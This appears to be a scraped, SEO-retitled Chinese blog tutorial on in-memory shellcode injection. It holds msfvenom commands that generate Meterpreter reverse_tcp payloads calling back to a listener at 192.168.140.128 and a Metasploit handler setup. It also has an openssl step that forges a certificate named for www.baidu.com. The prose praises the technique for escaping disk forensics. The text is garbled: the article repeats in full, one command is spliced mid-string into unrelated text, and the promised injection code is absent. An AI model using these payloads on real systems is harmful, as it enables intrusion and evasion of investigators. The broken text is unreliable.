如何将1.10内存ShellCode注入及格式化改写为高效长尾?

2026-04-12 02:222阅读0评论SEO问题
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计786个文字,预计阅读时间需要4分钟。

如何将1.10内存ShellCode注入及格式化改写为高效长尾?

Shellcode 的格式化与注释功能在实战应用中同样重要,格式化 + Shellcode 指的是将 Shellcode 转换为可执行的二进制格式,使其能在内存中运行。注释 + Shellcode 则指将格式化后的 Shellcode 注释到另一个文件中。

ShellCode 的格式化与注入功能在实战应用中也尤为重要,格式化Shellcode是指将其转换为可执行的二进制格式,使其能够在内存中运行。注入Shellcode是指将格式化的Shellcode注入到另一个进程的内存中,以便在该进程中执行,此类功能也可算作ShellCode技术的延申功能。

1.10.1 针对内存的ShellCode注入

内存注入ShellCode是一种将Shell注入到进程内存中的攻击方式,该注入方式的优势在于被发现的概率极低,甚至可以被忽略,这是因为ShellCode被注入到进程内存中时,其并没有与之对应的硬盘文件,从而难以在磁盘中取证,但也存在一个弊端由于内存是易失性存储器,所以系统必须一直开机,不能关闭,该攻击手法可以应用于服务器上面,安全风险最小,注入后即可将注入器删除并以此保证无文件加载。

首先在实现功能之前读者应该自行生成自定义ShellCode代码,至于如何生成在本章第一节中就已经介绍过了,此处只给出生成指令

生成非加密ShellCode攻击载荷

如何将1.10内存ShellCode注入及格式化改写为高效长尾?

# -------------------------------------------------- # 生成ShellCode攻击载荷 # -------------------------------------------------- [lyshark@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \ -b '\x00\x0b' lhost=192.168.140.128 lport=9999 -f c [lyshark@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \ -b '\x00\x0b' lhost=192.168.140.128 lport=9999 -f c # -------------------------------------------------- # 服务端建立侦听器 # -------------------------------------------------- [lyshark@localhost ~]# msfconsole msf6 exploit(handler) > use exploit/multi/handler msf6 exploit(handler) > set payload windows/meterpreter/reverse_tcp msf6 exploit(handler) > set lhost 192.168.140.128 msf6 exploit(handler) > set lport 9999 msf6 exploit(handler) > set EXITFUNC thread msf6 exploit(handler) > exploit -j -z

生成SSL加密ShellCode攻击载荷

# -------------------------------------------------- # 生成ShellCode攻击载荷 # -------------------------------------------------- [lyshark@localhost ~]# openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \ > -subj "/C=UK/ST=London/L=London/O=Development/CN=www.baidu.com" \ > -keyout www.baidu.com.key -out www.baidu.com.crt [lyshark@localhost ~]# cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem [lyshark@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_shellcode.txt");并传入文本路径,则读者会看到如下输出,此时的ShellCode则被格式化为一行,如下图所示;

保存这段ShellCode代码,并运行代码执行盒,通过传入命令行传入参数,即可实现反弹,传入参数如下图所示;

本文作者: 王瑞 本文链接: www.lyshark.com/post/c20d3ce0.html 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

本文共计786个文字,预计阅读时间需要4分钟。

如何将1.10内存ShellCode注入及格式化改写为高效长尾?

Shellcode 的格式化与注释功能在实战应用中同样重要,格式化 + Shellcode 指的是将 Shellcode 转换为可执行的二进制格式,使其能在内存中运行。注释 + Shellcode 则指将格式化后的 Shellcode 注释到另一个文件中。

ShellCode 的格式化与注入功能在实战应用中也尤为重要,格式化Shellcode是指将其转换为可执行的二进制格式,使其能够在内存中运行。注入Shellcode是指将格式化的Shellcode注入到另一个进程的内存中,以便在该进程中执行,此类功能也可算作ShellCode技术的延申功能。

1.10.1 针对内存的ShellCode注入

内存注入ShellCode是一种将Shell注入到进程内存中的攻击方式,该注入方式的优势在于被发现的概率极低,甚至可以被忽略,这是因为ShellCode被注入到进程内存中时,其并没有与之对应的硬盘文件,从而难以在磁盘中取证,但也存在一个弊端由于内存是易失性存储器,所以系统必须一直开机,不能关闭,该攻击手法可以应用于服务器上面,安全风险最小,注入后即可将注入器删除并以此保证无文件加载。

首先在实现功能之前读者应该自行生成自定义ShellCode代码,至于如何生成在本章第一节中就已经介绍过了,此处只给出生成指令

生成非加密ShellCode攻击载荷

如何将1.10内存ShellCode注入及格式化改写为高效长尾?

# -------------------------------------------------- # 生成ShellCode攻击载荷 # -------------------------------------------------- [lyshark@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \ -b '\x00\x0b' lhost=192.168.140.128 lport=9999 -f c [lyshark@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \ -b '\x00\x0b' lhost=192.168.140.128 lport=9999 -f c # -------------------------------------------------- # 服务端建立侦听器 # -------------------------------------------------- [lyshark@localhost ~]# msfconsole msf6 exploit(handler) > use exploit/multi/handler msf6 exploit(handler) > set payload windows/meterpreter/reverse_tcp msf6 exploit(handler) > set lhost 192.168.140.128 msf6 exploit(handler) > set lport 9999 msf6 exploit(handler) > set EXITFUNC thread msf6 exploit(handler) > exploit -j -z

生成SSL加密ShellCode攻击载荷

# -------------------------------------------------- # 生成ShellCode攻击载荷 # -------------------------------------------------- [lyshark@localhost ~]# openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \ > -subj "/C=UK/ST=London/L=London/O=Development/CN=www.baidu.com" \ > -keyout www.baidu.com.key -out www.baidu.com.crt [lyshark@localhost ~]# cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem [lyshark@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_shellcode.txt");并传入文本路径,则读者会看到如下输出,此时的ShellCode则被格式化为一行,如下图所示;

保存这段ShellCode代码,并运行代码执行盒,通过传入命令行传入参数,即可实现反弹,传入参数如下图所示;

本文作者: 王瑞 本文链接: www.lyshark.com/post/c20d3ce0.html 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!